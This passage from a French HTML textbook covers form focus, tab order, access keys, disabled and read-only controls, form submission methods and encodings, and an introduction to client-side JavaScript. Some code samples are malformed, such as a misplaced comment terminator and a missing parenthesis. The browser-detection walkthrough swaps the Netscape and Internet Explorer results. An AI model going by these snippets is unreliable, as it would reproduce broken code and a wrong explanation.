par exemple pour n’afficher la zone de texte Recherche que si
l’utilisateur indique ne pas trouver de catégorie, etc.

9.2. Formulaire et focus

Dans un document HTML, un élément doit recevoir le focus (aussi
nommé « attention ») grâce à une action de l’utilisateur pour devenir
actif et remplir sa fonction. Par exemple, un utilisateur doit activer (en
général cliquer) le lien spécifié par l’élément A pour suivre le lien en
question. De la même manière, les utilisateurs doivent donner le focus à
l’élément TEXTAREA pour y saisir un texte.

Il existe plusieurs façons de donner le focus à un élément :

j En désignant l’élément avec un dispositif de pointage.

362 LE GUIDE COMPLET

 Formulaire et focus Chapitre 9

j En naviguant d’un élément à l’autre au clavier. Il peut avoir été

défini un ordre de tabulation spécifiant l’ordre dans lequel les
éléments reçoivent le focus quand l’utilisateur navigue à l’aide du
clavier dans le document. Une fois sélectionné, l’élément peut
être activé par une certaine combinaison de touches.
j En sélectionnant l’élément au moyen d’une touche d’accès rapide
(appelée aussi parfois « raccourci clavier » ou « clé d’accès »).

Navigation par tabulation

Dans un document HTML, plusieurs éléments sont soumis à un ordre de
tabulation, explicite ou implicite. Il s’agit essentiellement des éléments
qui reconnaissent l’attribut tabindex, à savoir les éléments A, AREA,
BUTTON, INPUT, OBJECT, SELECT et TEXTAREA.

L’ordre de tabulation définit l’ordre dans lequel les éléments recevront

le focus lorsque l’utilisateur naviguera à l’aide du clavier. L’ordre de
tabulation peut comprendre des éléments imbriqués dans d’autres
éléments.

Cet ordre de tabulation est défini de façon explicite à l’aide de l’attribut

tabindex, pour les éléments qui le reconnaissent. Sa syntaxe est la
suivante :
tabindex = nombre

nombre doit être compris entre 0 et 32 767. Les agents utilisateurs

doivent ignorer les éventuels zéros de tête.

Les agents utilisateurs parcourent les éléments qui peuvent recevoir le

focus selon les règles suivantes :
1 D’abord les éléments qui reconnaissent l’attribut tabindex et lui
assignent une valeur positive. La navigation part de l’élément
dont l’attribut tabindex possède la plus petite valeur pour aller
vers l’élément qui possède la valeur la plus élevée. Les valeurs ne
se suivent pas forcément, ni ne doivent commencer à une valeur
particulière. Les éléments dont les valeurs de l’attribut tabindex
sont identiques sont parcourus dans l’ordre de leur apparition dans
le flux de caractères du code.
2 Ceux des éléments qui ne reconnaissent pas l’attribut tabindex,
ou bien le reconnaissent et lui assignent une valeur 0, sont

LE GUIDE COMPLET 363

 Chapitre 9 Formulaires

parcourus ensuite. Ces éléments sont parcourus dans l’ordre de

leur apparition dans le flux de caractères du code.

Cela signifie que si aucun élément ne possède d’attribut tabindex,

l’ordre de tabulation sera celui de l’apparition des éléments dans le
code.

Les éléments inactifs ne participent pas dans l’ordre de tabulation.

Examinez le listing suivant :

Listing 9-1 : [Link]
<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>Exemple de formulaire</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=iso-8859-1">
<META name="version" content="9.1">
<META http-equiv="Content-Style-Type" content="text/css">
<LINK rel="STYLESHEET" type="text/css" href="[Link]">
</HEAD>
<BODY>
<H1>Exemple de formulaire</H1>
<H2>Navigation &agrave; l’aide de la touche
<CODE>TAB</CODE></H2>
<P>...un texte...</P>
<P>Consultez le
<A tabindex="10" href="[Link]
site Web du W3C.</A>
<BR>
...suite du texte...
<BR>
<BUTTON type="button" name="action" tabindex="1"
onclick="action()">
Effectuer l’action pr&eacute;vue.
</BUTTON>
<BR>
...suite du texte...
<BR>
<FORM action="..." method="post">
<P>
<INPUT tabindex="1" type="text" name="champs1">
<INPUT tabindex="2" type="text" name="champs2">
<BR>
<INPUT tabindex="3" type="submit" name="submit">
</P>
</FORM>

364 LE GUIDE COMPLET

 Formulaire et focus Chapitre 9

</BODY>
</HTML>

Dans cet exemple, l’ordre de tabulation est le suivant : l’élément

BUTTON, les éléments INPUT dans l’ordre (remarquez que celui nommé
champs1 partage la même valeur d’attribut tabindex que le bouton,
mais champs1 apparaît plus tard dans le flux de caractères) et enfin le
lien créé par l’élément A.

Figure 9.17 :
Navigation à l’aide de l’attribut
tabindex

Touches configurables
La touche ou la combinaison de touches qui produit la navigation par
tabulation dépend de la configuration de l’agent utilisateur. C’est
généralement la touche [˜] pour la navigation et la touche [Ä] pour
l’activation de l’élément sélectionné, mais cela n’est en rien une
obligation impérative.

Les agents utilisateurs peuvent également définir des combinaisons de

clés pour parcourir l’ordre de tabulation à l’envers. Quand la fin ou le
début de l’ordre de tabulation est atteint, l’agent utilisateur peut revenir
en arrière au début ou à la fin.

LE GUIDE COMPLET 365

 Chapitre 9 Formulaires

Touches d’accès rapide

Vous êtes probablement familier avec les touches d’accès rapide de
votre système d’exploitation ou de vos logiciels favoris. Par exemple,
vous savez certainement qu’avec Windows la combinaison [ctrl]+[c] copie
un objet, tandis que la combinaison [ctrl]+[v] colle cet objet à
l’emplacement actif. HTML permet de définir de telles touches d’accès
rapide pour un élément, à l’aide de l’attribut accesskey. Sa syntaxe est
la suivante :
accesskey = caractère

caractère est un caractère seul qui provient du jeu de caractères du

document.

Clé d’accès
Pensez à tenir compte de la méthode de saisie de l’utilisateur supposé
lors de la spécification d’une clé d’accès.

Un appui sur la touche d’accès rapide affectée à un élément lui procure

le focus. Ce qui se passe lorsque l’élément reçoit le focus dépend de
l’élément. Par exemple, si l’utilisateur active un lien défini par un
élément A, l’agent utilisateur suit en général le lien. Lorsque l’utilisateur
active un bouton radio, l’agent utilisateur change la valeur du bouton
radio. Quand l’utilisateur active un champ de texte, la saisie devient
possible, etc.

Vous pouvez définir un attribut accesskey pour les éléments suivants :

A, AREA, BUTTON, INPUT, LABEL, LEGEND et TEXTAREA.

L’exemple qui suit affecte la touche d’accès rapide [N] au libellé associé
à une commande INPUT. Un appui sur la touche procure le focus au
libellé, qui le transmet à la commande associée. L’utilisateur peut alors
saisir un texte dans la zone INPUT.
<FORM action="..." method="post">
<P>
<LABEL for="libelle_utilisateur" accesskey="N">
Nom d’utilisateur
</LABEL>
<INPUT type="text" name="nom_utilisateur"
id="libelle_utilisateur">
</P>
</FORM>

366 LE GUIDE COMPLET

 Formulaire et focus Chapitre 9

Figure 9.18 :
Touches d’accès rapide

Compliquons cet exemple en ajoutant un lien hypertexte lorsque

l’utilisateur ne possède pas de compte. Une touche d’accès rapide est
affectée à ce lien défini par un élément A. Un appui sur cette touche
mène l’utilisateur vers ce qui serait un document offrant un formulaire
d’ouverture de compte.
<FORM action="..." method="post">
... idem ci-dessus ...
</FORM>
<P>
<LABEL>
<A rel="contents" accesskey="C" href="[Link]">
Cr&eacute;er un compte
</A>
</LABEL>
</P>

Figure 9.19 :
Touche d’accès rapide

LE GUIDE COMPLET 367

 Chapitre 9 Formulaires

Touches d’accès rapide

La procédure exacte d’invocation des touches d’accès rapide dépend
du système d’exploitation sous-jacent. Avec MS Windows, c’est en
général une combinaison [alt]+touche d’accès rapide. Avec un système
Apple, ce serait [cmd]+touche d’accès rapide.

La restitution des clés d’accès est fonction de l’agent utilisateur. Mieux

vaut inclure la clé d’accès dans le texte du libellé ou partout où la clé
d’accès doit s’appliquer. Les agents utilisateurs devraient restituer la
valeur d’une clé d’accès de façon à mettre son rôle en évidence et à la
distinguer des autres caractères (par exemple, en la soulignant).

9.3. Commandes inactives et en

lecture seule
Parfois, une saisie de l’utilisateur peut être indésirable ou superflue. Il
faut donc pouvoir rendre une commande inactive ou la restituer en
lecture seule. Vous pourriez par exemple souhaiter que le bouton de
soumission d’un formulaire reste inactif tant que l’utilisateur n’a pas
entré certaines données obligatoires. De la même manière, l’auteur peut
vouloir inclure un bout de texte en lecture seule, qui doit être soumis
comme valeur en même temps que le formulaire. Les sections suivantes
décrivent les commandes inactives et celles en lecture seule.

Commandes inactives
Vous déclarez une commande comme inactive à l’aide de l’attribut
booléen disabled. La commande est désactivée et refuse toute forme
d’entrée de l’utilisateur. Cet attribut peut être employé avec les éléments
BUTTON, INPUT, OPTGROUP, OPTION, SELECT et TEXTAREA.

Lorsqu’il est présent dans un élément, l’attribut disabled produit

l’effet suivant :
j Les commandes inactives ne reçoivent pas le focus.
j Les commandes inactives sont ignorées au cours d’une navigation
par tabulation.
j Les commandes inactives ne peuvent pas réussir.

368 LE GUIDE COMPLET

 Commandes inactives et en lecture seule Chapitre 9

Cet attribut est hérité, les déclarations locales surclassant toutefois la

valeur héritée.

Dans l’exemple suivant, l’élément INPUT est inactif. Il ne peut pas

recevoir d’entrée de l’utilisateur et sa valeur ne peut pas être soumise
avec le formulaire.
<INPUT type="submit" disabled name="Soumettre"">

La façon dont sont restitués les éléments inactifs dépend de l’agent

utilisateur. Par exemple, certains agents utilisateurs, comme Firefox,
restituent en « grisé » les articles de menu, les labels de bouton, etc.,
inactifs.

Figure 9.20 :
Commande désactivée

Seul un script peut modifier dynamiquement la valeur de l’attribut

disabled.

Commandes en lecture seule

L’attribut booléen readonly , lorsqu’il est présent dans une commande
de formulaire, interdit les modifications de la commande. Vous pouvez
l’employer avec les éléments INPUT et TEXTAREA.

Quand il est présent, l’attribut readonly produit les effets suivants sur
l’élément :
j Les éléments en lecture seule reçoivent l’attention mais les
utilisateurs ne peuvent pas les modifier.
j Les éléments en lecture seule sont inclus dans la navigation par
tabulation.
j Les éléments en lecture seule peuvent réussir.

LE GUIDE COMPLET 369

 Chapitre 9 Formulaires

La façon dont sont restitués les éléments en lecture seule dépend de

l’agent utilisateur.

Voici un exemple :
Syst&egrave;me d’exploitation : <INPUT name="systeme_expl"
type="text" value="Windows" readonly >

Figure 9.21 :
Commande en lecture seule

Il est impossible de modifier le contenu de la zone de texte présentée

dans la figure précédente.

Seul un script peut modifier dynamiquement la valeur de l’attribut

readonly.

9.4. Soumission du formulaire

Dans tout ce qui précède, nous avons examiné avec soin les éléments
grâce auxquels il était possible de faire saisir des informations par
l’utilisateur. Le formulaire rempli, l’utilisateur clique sur le bouton
Soumettre. Les sections suivantes expliquent la manière dont les agents
utilisateurs soumettent les données de formulaire aux agents qui traitent
les formulaires.

Méthodes de soumission du formulaire

L’attribut method de l’élément FORM spécifie la méthode HTTP
employée pour envoyer le formulaire à l’agent de traitement. Cet attribut
admet deux valeurs :

370 LE GUIDE COMPLET

 Soumission du formulaire Chapitre 9

j get : l’ensemble des données du formulaire est rajouté à l’URI

spécifié par l’attribut action (avec comme séparateur un
caractère point d’interrogation ?) et ce nouvel URI est envoyé à
l’agent de traitement.
j post : l’ensemble des données de formulaire est inclus dans le
corps du formulaire et envoyé à l’agent de traitement.

La méthode get est à préférer lorsque le formulaire ne produit aucun

effet secondaire (il est alors dit « idempotent »). La plupart des
recherches dans une base de données sont dépourvues d’effets
secondaires visibles et font des applications idéales pour la méthode
get. Les moteurs de recherche emploient get : une demande de
recherche n’ajoute rien à un fichier ou ne modifie en rien les données du
serveur.

Si le service associé au traitement d’un formulaire entraîne des effets

secondaires (par exemple, si le formulaire modifie une base de données
ou l’abonnement à un service), mieux vaut employer la méthode post.
Elle est ainsi employée pour les pages d’inscription, les salles de
discussion et les forums de discussion en ligne.

Le codage des caractères avec Get et Post

La méthode get restreint les valeurs du jeu des données du formulaire
aux caractères ASCII. En revanche, la méthode post, lorsqu’elle est
spécifiée avec l’attribut enctype="multipart/form−data", recouvre
la totalité du jeu de caractères ISO 10646.

Commandes réussies
Une commande est dite « réussie » lorsque son nom est apparié à sa
valeur courante et que ce couple appartient au jeu des données du
formulaire qui est soumis. Une commande réussie peut être soumise.
Une commande réussie doit être définie dans un élément FORM et
posséder un nom de commande.

Remarquez toutefois que :

j Les commandes inactives ne peuvent réussir.
j Si le formulaire contient plusieurs boutons de soumission, seul le
bouton de soumission actif réussira.

LE GUIDE COMPLET 371

 Chapitre 9 Formulaires

j Toutes les cases à cocher activées (sur « marche ») peuvent

réussir.
j Dans le cas de boutons d’option qui partagent le même nom (la
même valeur pour l’attribut name), seul le bouton d’option activé
peut réussir.
j Pour les menus, le nom de commande est donné par l’élément
SELECT et les valeurs sont fournies par les éléments OPTION.
Seules les options sélectionnées peuvent réussir. Si aucune option
n’est sélectionnée, la commande échoue : ni le nom ni aucune
valeur ne sont soumis au serveur avec le formulaire.
j La valeur courante d’une sélection de fichiers est une liste d’un ou
plusieurs noms de fichiers. Lors de la soumission du formulaire,
le contenu de chaque fichier est soumis avec le restant des
données du formulaire. Les contenus des fichiers sont
conditionnés en fonction du type de contenu du formulaire.
j La valeur courante d’une commande d’objet est déterminée par
l’implémentation de l’objet.

Si une commande est dépourvue de valeur courante au moment de la

soumission du formulaire, les agents utilisateurs ne sont pas obligés de
la traiter comme une commande réussie.

En outre, les agents utilisateurs ne doivent pas considérer les

commandes suivantes comme étant réussies :
j Les boutons de réinitialisation.
j Les éléments OBJECT dont l’attribut declare n’est pas spécifié.

Les commandes cachées et les commandes qui ne sont pas restituées en

raison de l’effet d’une feuille de style peuvent quand même réussir. Par
exemple :
<FORM action="..." method="post">
<P>
<INPUT type="password" style="display:none"
name="mot_de_passe_invisible"
value="mon_mot_de_passe">
</FORM>

Cela entraîne malgré tout l’accouplement de la valeur au nom

mot_de_passe_invisible et leur soumission avec le formulaire.

372 LE GUIDE COMPLET

 Soumission du formulaire Chapitre 9

Traitement des données du formulaire

Lorsque l’utilisateur soumet le formulaire (par exemple, en activant un
bouton de soumission), l’agent utilisateur le traite de la manière
suivante.
1 Première étape : identification des commandes réussies.
2 Deuxième étape : construction du jeu des données du formulaire
(le jeu des données du formulaire est la séquence des couples
« nom de commande/valeur courante » construite à partir des
commandes réussies).
3 Troisième étape : codage du jeu des données du formulaire.
Le jeu des données du formulaire est alors codé en fonction du
type de contenu spécifié par l’attribut enctype de l’élément
FORM.
4 Quatrième étape : soumission du jeu des données du formulaire
codé.
5 Enfin, les données codées sont envoyées à l’agent de traitement
désigné par l’attribut action, en utilisant le protocole spécifié
par l’attribut method.

Cette spécification ne définit pas toutes les méthodes de soumission

valides ni les types de contenu qui peuvent être employés avec les
formulaires. Les agents utilisateurs HTML 4 doivent cependant obéir
aux conventions établies dans les cas suivants :
j Si la valeur de l’attribut method est get et la valeur de l’attribut
action est un URI HTTP, alors l’agent utilisateur prend la valeur
de l’attribut action, lui rajoute un caractère ? et enfin le jeu des
données du formulaire, codé en utilisant le type de contenu
application/x−www−form−urlencoded. L’agent utilisateur
traverse alors le lien vers cet URI. Dans ce scénario, les données
du formulaire se limitent aux codes ASCII.
j Si la valeur de l’attribut method est post et la valeur de l’attribut
action est un URI HTTP, alors l’agent utilisateur conduit une
transaction HTTP post en utilisant la valeur de l’attribut action
et un message créé en fonction du type de contenu spécifié par
l’attribut enctype.

Pour toute autre valeur de l’attribut action ou method, le

comportement n’est pas spécifié.

LE GUIDE COMPLET 373

 Chapitre 9 Formulaires

Les agents utilisateurs devraient restituer les réponses des transactions

HTTP get et post.

Types de contenu du formulaire

L’attribut enctype de l’élément FORM spécifie le type de contenu utilisé
pour coder le jeu des données du formulaire en vue de sa soumission au
serveur. Les agents utilisateurs doivent reconnaître les types de contenu
listés ci-dessous. Le comportement pour d’autres types de contenu n’est
pas spécifié.

Le type de contenu par défaut est application/x−www

−form−urlencoded. Les formulaires soumis avec ce type de contenu
doivent être codés comme suit :
1 Les noms de commandes et les valeurs sont échappées. Les
caractères « espace » sont remplacés par des caractères plus (+)
puis les caractères réservés sont échappés comme décrit dans le
document [RFC1738], section 2.2. Les caractères non
alphanumériques sont remplacés par une séquence de la forme
%HH : un caractère pourcentage et deux chiffres hexadécimaux qui
représentent le code ASCII du caractère en question. Les sauts de
ligne sont représentés par des couples de caractères CR LF
(%0D%0A).
2 Les couples nom/valeur des commandes sont listés selon leur
ordre d’apparition dans le document. Le nom est séparé de la
valeur par un caractère égal =, et les couples nom/valeur sont
séparés les uns des autres par des esperluettes (&).

Le type de contenu application/x−www−form−urlencoded est

inefficace pour l’envoi de grandes quantités de données binaires ou de
texte contenant des caractères non ASCII.

L’autre valeur possible est multipart/form−data. C’est le type de

contenu à employer pour la soumission de formulaires contenant des
fichiers, des données non ASCII et des données binaires.

374 LE GUIDE COMPLET

 Remarques à propos des formulaires Chapitre 9

9.5. Remarques à propos

des formulaires
Avant de créer un formulaire sur votre site, la première chose qui vous
vient à l’esprit est de dégager les questions qui vont être posées, et celles
qui seront obligatoires. Il est en effet possible d’empêcher la soumission
d’un formulaire si un des champs obligatoires n’est pas rempli. Ceci est
souvent utilisé sur le Web pour exiger un nom ou une adresse.

Figure 9.22 :
Champs de formulaire
obligatoires, dans le formulaire
d’enregistrement du site de
MicroApplication.

Cela n’est toutefois qu’un aspect du problème. Il est plus important

encore de savoir de quelles informations vous avez réellement besoin et
comment expliquer ce fait à l’utilisateur. Certains sites exigent beaucoup
plus d’informations que nécessaire. Est-il réellement indispensable de
demander son numéro de téléphone à un utilisateur pour obtenir
simplement des commentaires sur votre site ? Toute information possède
une valeur, et les utilisateurs deviennent de plus en plus méfiants sur les
données qu’ils fournissent gratuitement. Ils peuvent en outre ne pas
savoir qui vous êtes exactement, ou pourquoi vous voulez cette
information.

Vous ne devez demander et à plus forte raison n’exiger que les

informations strictement nécessaires à l’objectif de votre formulaire. Si
la raison pour laquelle vous voulez ces informations n’est pas
instantanément évidente, alors expliquez vos motivations. Si vous
conservez des données utilisateur dans un fichier, vous devez déclarer
celui-ci à la CNIL (Commission Nationale Informatique et Liberté).

Un formulaire HTML ne présente que peu ou pas d’intérêt en l’absence

d’un dispositif capable de traiter les informations recueillies. Ce
traitement est généralement effectué à l’aide de scripts, qui feront l’objet
du prochain chapitre.

LE GUIDE COMPLET 375

 Chapitre 9 Formulaires

9.6. Résumé
j Un formulaire constitue un moyen d’apporter un peu
d’interactivité à une page HTML.
j Vous créez un formulaire dans une page HTML à l’aide de
l’élément FORM. Cet élément agit comme conteneur général du
formulaire, notamment pour les commandes.
j Les utilisateurs interagissent avec les formulaires au moyen de
commandes nommées. Le « nom » d’une commande est spécifié
par son attribut name. Chaque commande possède à la fois une
valeur initiale et une valeur courante. La valeur initiale d’une
commande peut généralement être spécifiée à l’aide de l’attribut
value de l’élément de commande.
j HTML définit plusieurs grands types de commandes : boutons
d’action, cases à cocher, boutons d’option, menus, saisie de texte
et sélection d’un fichier.
j L’élément INPUT est le plus employé dans un formulaire. Il
permet de créer des boutons d’action, des cases à cocher, des
boutons d’option, la saisie d’un texte d’une ligne et la sélection de
fichiers. Son attribut type spécifie le type de la commande.
j La valeur text est la valeur par défaut de cet attribut. Elle crée
une commande de saisie de texte sur une seule ligne. La valeur
password crée une commande de saisie de texte sur une seule
ligne de type « mot de passe » : le texte saisi est restitué de
manière à dissimuler les caractères. La valeur checkbox crée une
case à cocher, tandis que la valeur radio crée un bouton
d’option. Les valeurs submit et reset créent respectivement un
bouton de soumission et un bouton de réinitialisation. La valeur
image crée un bouton de soumission graphique. La valeur
button crée un bouton d’action. La valeur hidden crée une
commande cachée. Enfin, la valeur file crée une commande de
sélection de fichiers.
j Les boutons créés par l’élément BUTTON fonctionnent exactement
comme ceux créés avec l’élément INPUT, mais offrent des
possibilités de restitution plus variées, puisque l’élément BUTTON
peut posséder un contenu.
j Vous créez un menu à l’aide d’un élément SELECT. Chaque
option du menu est représentée par un élément OPTION. Un
élément SELECT doit contenir au moins un élément OPTION.

376 LE GUIDE COMPLET

 Résumé Chapitre 9

j Vous pouvez regrouper logiquement des options à l’aide de

l’élément OPTGROUP.
j L’élément TEXTAREA permet de créer une zone de texte de saisie
multiligne.
j L’élément LABEL permet de spécifier un libellé pour les
commandes dépourvues de libellé implicite.
j L’élément FIELDSET permet de regrouper par thème les
commandes et les libellés apparentés.
j L’élément LEGEND permet aux auteurs d’assigner une légende à
un élément FIELDSET.
j Vous pouvez donner le focus à un élément de plusieurs façons : à
l’aide d’un dispositif de pointage, en naviguant d’un élément à
l’autre au clavier selon l’ordre de tabulation ou à l’aide de touches
d’accès rapide.
j L’ordre de tabulation est défini de façon explicite à l’aide de
l’attribut tabindex. Une touche d’accès rapide est définie pour
un élément à l’aide de l’attribut accesskey.
j Vous déclarez une commande comme inactive à l’aide de
l’attribut booléen disabled.
j L’attribut booléen readonly, lorsqu’il est présent dans une
commande de formulaire, interdit les modifications de cette
commande.
j L’attribut method de l’élément FORM spécifie la méthode HTTP
employée pour envoyer le formulaire à l’agent de traitement. Cet
attribut admet deux valeurs : get et post.
j Une commande est dite « réussie » lorsque son nom est apparié à
sa valeur courante et que ce couple appartient au jeu des données
du formulaire qui est soumis.
j Les données sont envoyées à l’agent de traitement désigné par
l’attribut action, en utilisant le protocole spécifié par l’attribut
method.
j L’attribut enctype de l’élément FORM spécifie le type de contenu
utilisé pour coder le jeu des données du formulaire en vue de sa
soumission au serveur. Il existe deux types de contenu reconnus :
par défaut, application/x−www−form−urlencoded et
multipart/form−data, à employer pour la soumission de
formulaires contenant des fichiers, des données non ASCII et des
données binaires.

LE GUIDE COMPLET 377

 Scripts

Introduction aux scripts .................................................................................................... 381

Élément SCRIPT ................................................................................................................. 383
Événements intrinsèques ................................................................................................. 390
Travail avec les scripts ...................................................................................................... 396
Applets .................................................................................................................................. 424
Résumé ................................................................................................................................ 432
 Chapitre 10 Scripts

Vous savez désormais créer une page Web d’une relative complexité
sans trop de difficultés. Vous savez y incorporer des graphismes et y
adjoindre des liens. Vous allez dans ce chapitre apprendre à doter vos
pages Web de plus de dynamisme grâce à l’emploi de scripts.

Un script est un programme écrit dans un langage de programmation

particulier. Son exécution est déclenchée par un événement qui se produit
sur la machine cliente, soit automatiquement (comme au chargement d’un
document HTML) soit suite à une action de l’utilisateur.

Il existe deux types de scripts : les scripts côté serveur et les scripts côté
client.
j Les scripts côté serveur sont situés et s’exécutent comme leur
nom l’indique sur le serveur, et peuvent envoyer un résultat vers
la machine cliente. Ils étaient anciennement de type CGI
(Common Gateway Interface), une technique qui permettait de
lancer un programme sur une machine en utilisant les entrées de
celle d’un client. D’autres scripts côté serveur comprennent des
images cliquables côté serveur et des extensions ou API
brevetées, comme ASP (Active Server Pages), ColdFusion,
FrontPage Extensions ou le très populaire PHP.
j Les scripts côté client sont des programmes qui peuvent
accompagner le document HTML ou bien y être directement
incorporés. Ils s’exécutent sur la machine cliente (préservant ainsi
les ressources du serveur) également suite à un événement. Nous
reviendrons par la suite sur les événements HTML. HTML gère les
scripts d’une façon indépendante du langage de script. Ces scripts
sont généralement rédigés en JavaScript ou en VBScript, et
nécessitent de l’utilisateur un navigateur capable et autorisés à lire
et à exécuter le langage de script que vous utilisez, quel qu’il soit.
Les scripts côté client sont donc très dépendants du navigateur, mais
ils sont aussi bien plus rapides que ceux côté serveur.

Ce chapitre s’intéresse essentiellement aux scripts côté client.

Éléments et attributs étudiés dans ce chapitre :

SCRIPT, type, language, src, charset, defer
NOSCRIPT
APPLET, code, width, height
OBJECT, codetype, codebase, classid, data, type, archive,
declare, standby
PARAM, name, value, valuetype

380 LE GUIDE COMPLET

 Introduction aux scripts Chapitre 10

10.1. Introduction aux scripts

Les scripts permettent d’augmenter la réactivité et le dynamisme de
documents HTML. Par exemple :
j Modifier dynamiquement le contenu d’un document lors du
chargement de celui-ci.
j Accompagner un formulaire et valider les données avant la
soumission.
j Actions particulières suite à un événement comme le chargement,
le déchargement, la prise de focus d’un élément, le mouvement de
la souris, etc.
j Action liée aux commandes d’un formulaire (par exemple, les
boutons) pour simuler une interface utilisateur graphique.

Cette liste permet de séparer les scripts en deux catégories principales :

j Scripts à action unique : ils sont exécutés une seule fois, lors du
chargement du document par l’agent utilisateur. Ils apparaissent
dans le document à l’intérieur d’un élément SCRIPT. Pour tenir
compte des agents utilisateurs qui ne peuvent pas gérer les scripts,
mieux vaut inclure un contenu de remplacement via l’élément
NOSCRIPT.

Ces scripts sont capables de modifier dynamiquement le contenu du

document. Leurs capacités dépendent du langage de script concerné. La
modification dynamique d’un document peut être modélisée comme
suit :
j Tous les éléments SCRIPT sont évalués dans l’ordre au fur et à
mesure du chargement du document.
j Toutes les structures de script à l’intérieur d’un élément SCRIPT
donné, qui génèrent des valeurs SGML de type CDATA, sont
évaluées. Leur texte généré combiné est inséré dans le document à
la place de l’élément SCRIPT.
j Les données générées de type CDATA sont réévaluées.

Par exemple, imaginons le fragment de document suivant (vous

l’étudierez plus en détail par la suite) :
<script language="JavaScript">
<!--
Navigateur = [Link];

LE GUIDE COMPLET 381

 Chapitre 10 Scripts

if (Navigateur == ’Netscape’)
{
[Link]("<TD><A href=’region_nets.html’ ");
}
if (Navigateur == ’Microsoft Internet Explorer’)
{
[Link]("<TD><A href=’region_IE.html’ ");
}
[Link]("target=princ>Ma r&eacute;gion</A></TD>"
//-->
</script>

Considérons que vous l’examinez avec un navigateur de type Netscape,

configuré pour accepter les scripts.
1 Le navigateur examine le contenu de l’élément SCRIPT.
2 Comme il s’agit d’un navigateur de type Netscape, c’est le
premier cas de l’instruction conditionnelle qui est évalué. Le
moteur de script place donc dans le document la chaîne de
caractères <TD><A href=’region_nets.html’, sort de
l’instruction conditionnelle, puis insère la chaîne target
=princ>Ma r&eacute;gion</A></TD> et sort de l’élément
SCRIPT. Le navigateur interprète ensuite la chaîne totale, soit :
<TD><A href=’region_IE.html’ target=princ>Ma r&eacute;gion
</A></TD>

S’il s’était agi d’un navigateur Internet Explorer, le résultat aurait

été :
<TD><A href=’region_nets.html’ target=princ>Ma r&eacute;gion
</A></TD>

Les documents HTML sont contraints de se conformer au DTD HTML

avant comme après le traitement de chaque élément SCRIPT.
j Scripts répétitifs : ils sont exécutés chaque fois qu’un événement
particulier se produit. Ils peuvent être affectés à un certain nombre
d’éléments à l’aide des attributs d’événement intrinsèque, étudiés
plus loin.

HTML ne dépend pas d’un langage de script particulier. Les auteurs des
documents indiquent explicitement aux agents utilisateurs le langage de
chaque script.

Les deux grands langages de script côté client, JavaScript (développé

par Netscape) et VBScript (Microsoft), ont mené une bataille féroce afin

382 LE GUIDE COMPLET

 Élément SCRIPT Chapitre 10

d’attirer l’attention des développeurs. Microsoft a même développé sa

propre version de JavaScript, nommée JScript. Cela s’est traduit à
l’époque par une fragmentation croissante des sites Web : une fonction
n’était reconnue que par un type de navigateur et partageait le public en
deux parties, ceux qui possédaient un navigateur compatible et tous les
autres.

Tout ce qui impose aux concepteurs Web de faire un choix quant à la

plate-forme de destination est une négation de la technologie et de
l’esprit qui régit Internet et le World Wide Web. L’idée originelle était et
reste de partager idées et informations, indépendamment de l’ordinateur,
du système d’exploitation ou de l’application.

La tendance est toutefois désormais au respect de ECMAScript, une

tentative de normalisation du noyau du langage JavaScript et de ses
dérivés : sa syntaxe, ses mots-clés et ses composants natifs. La troisième
édition du standard ECMA-262 a été publiée en décembre 1999
([Link]/publications/standards/[Link]).

Nous reviendrons plus en détail sur ces principaux langages dans la suite
de ce chapitre. Pour le moment, intéressons-nous à la façon d’incorporer
un script côté client à un document HTML.

10.2. Élément SCRIPT

Vous insérez un script dans un document à l’aide de l’élément SCRIPT,
obligatoirement doté de balises d’ouverture et de fermeture. Cet élément
peut apparaître un nombre quelconque de fois dans les éléments HEAD
ou BODY d’un document HTML.

Par exemple, ajoutons à notre page d’accueil un petit script :

1 Ouvrez [Link] dans le Bloc-Notes.
2 Modifiez le numéro de version :
<META name="version" content="3.10.1">

3 Insérez, dans l’élément H2 du corps (l’élément BODY), l’élément

SCRIPT suivant, en remplaçant ce qui se trouve entre la balise
d’ouverture H2 et l’élément EM :
<H2>
<SCRIPT type="text/javascript">
<!--

LE GUIDE COMPLET 383

 Chapitre 10 Scripts

[Link]("Bienvenue sur ")

</SCRIPT>
-->
<EM>mon</EM> site.</H2>

4 Enregistrez votre fichier, sans modifier son nom, puis ouvrez

[Link] dans un navigateur. Guère passionnant : l’effet est
strictement identique à la version précédente (regardez la
Figure 10.1 et comparez-la à la Figure 8.10).

Figure 10.1 :
Votre premier script
JavaScript

Ce script JavaScript (remarquez la valeur de l’attribut type) est en effet

d’une grande simplicité, puisqu’il ne contient qu’une instruction :
[Link] signifie « imprimer à l’écran l’information placée
entre parenthèses ». Celle-ci étant identique au texte original, aucune
différence n’est visible. Autrement dit, ce script est strictement identique
à la version précédente du code, soit :
<H2>Bienvenue sur <EM>mon</EM> site.</H2>

Nous reviendrons par la suite sur la signification des lignes <!−− et −−>,
mais souvenez-vous qu’il s’agit d’un commentaire HTML.

JavaScript désactivé
Aucune différence n’est visible si, et seulement si, votre navigateur est
configuré de façon à autoriser les scripts. Si ce n’est pas le cas, vous
obtenez quelque chose de similaire à ce qui est présenté figure suivante.

384 LE GUIDE COMPLET

 Élément SCRIPT Chapitre 10

Figure 10.2 :
Page d’accueil sous Firefox,
JavaScript étant désactivé.

Activer JavaScript
Vous activez JavaScript avec Firefox en choisissant Outils > Options.
Sélectionnez Général dans la zone de gauche, puis cochez l’option
Autoriser JavaScript.
Avec Internet Explorer, les réglages s’effectuent en choisissant Outils >
Options Internet, puis en cliquant sur l’onglet Sécurité. Reportez-vous
pour plus de détails à la documentation de votre navigateur. Internet
Explorer 6 vous informe si une page contient un ou plusieurs script alors
que le navigateur n’est pas configuré pour les accepter.
Figure 10.3 :
Message d’Internet Explorer, qui signale que les
scripts sont désactivés.

Ce script ne présentant guère d’intérêt, essayons autre chose :

1 Revenez à [Link], ouvert dans le Bloc-Notes.
2 Enregistrez le fichier sous le nom accueil_3_10_1.html.
3 Modifiez le numéro de version :
<META name="version" content="3.10.2">

4 Redonnez à l’élément H2 sa forme antérieure :

<H2>Bienvenue sur <EM>mon</EM> site.</H2>

LE GUIDE COMPLET 385

 Chapitre 10 Scripts

5 Insérez après cet élément le code suivant :

<SCRIPT type="text/JavaScript">
<!--
[Link]("<P>Vous utilisez un navigateur "
+ [Link] + "</P>");
-->
</SCRIPT>

6 Enregistrez votre fichier sous le nom [Link], puis ouvrez

